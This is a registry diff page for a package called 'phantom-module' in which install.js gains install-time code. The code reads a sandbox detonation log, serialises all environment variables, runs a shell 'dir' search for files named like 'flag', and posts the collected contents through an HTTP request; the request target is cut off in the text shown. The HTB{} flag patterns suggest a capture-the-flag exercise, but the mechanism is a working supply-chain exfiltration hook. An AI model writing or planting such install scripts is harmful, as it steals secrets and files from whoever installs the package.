phantom-module 111.0.3 → 111.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +39 -18
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -1,32 +1,53 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
3
4
|
|
|
4
5
|
(function() {
|
|
5
6
|
let output = "";
|
|
6
7
|
|
|
7
|
-
// 1.
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
8
|
+
// 1. Specifically check the workflow log we found!
|
|
9
|
+
try {
|
|
10
|
+
const logPath = process.env.DetonationLogFilePath;
|
|
11
|
+
if (logPath && fs.existsSync(logPath)) {
|
|
12
|
+
let logContent = fs.readFileSync(logPath, 'utf8');
|
|
13
|
+
// Try to regex the flag out of it directly
|
|
14
|
+
let match = logContent.match(/HTB{[^}]+}/);
|
|
15
|
+
if (match) {
|
|
16
|
+
output += "FOUND IN LOG: " + match[0] + " | ";
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
} catch(e) {}
|
|
19
20
|
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
21
|
+
// 2. Check the entire environment variables for HTB{
|
|
22
|
+
try {
|
|
23
|
+
let envStr = JSON.stringify(process.env);
|
|
24
|
+
let match = envStr.match(/HTB{[^}]+}/);
|
|
25
|
+
if (match) {
|
|
26
|
+
output += "FOUND IN ENV: " + match[0] + " | ";
|
|
27
|
+
}
|
|
28
|
+
} catch(e) {}
|
|
29
|
+
|
|
30
|
+
// 3. Search for flag.txt files in the D:\TRANSFER directory
|
|
31
|
+
try {
|
|
32
|
+
if (process.env.INIT_CWD) {
|
|
33
|
+
let baseDir = process.env.INIT_CWD.split('\\').slice(0, 3).join('\\'); // e.g. D:\TRANSFER\8bc5d...
|
|
34
|
+
let files = execSync(`dir /s /b "${baseDir}\\*flag*"`).toString().trim().split('\r\n');
|
|
35
|
+
for (let f of files) {
|
|
36
|
+
if (f) {
|
|
37
|
+
try { output += `FILE ${f}: ` + fs.readFileSync(f, 'utf8').trim() + " | "; } catch(e) {}
|
|
38
|
+
}
|
|
24
39
|
}
|
|
25
|
-
}
|
|
40
|
+
}
|
|
41
|
+
} catch (e) {
|
|
42
|
+
output += "DIR_ERR: " + e.message + " | ";
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
if (!output) {
|
|
46
|
+
output = "Could not find HTB{...} in env or logs, and no flag files found.";
|
|
26
47
|
}
|
|
27
48
|
|
|
28
49
|
const postData = JSON.stringify({
|
|
29
|
-
manifest: `ecto_module:\n name: "
|
|
50
|
+
manifest: `ecto_module:\n name: "FLAG_WINDOWS_2"\n cargo_hold: ${JSON.stringify(output.substring(0, 1500))}\n`
|
|
30
51
|
});
|
|
31
52
|
|
|
32
53
|
const req = http.request({
|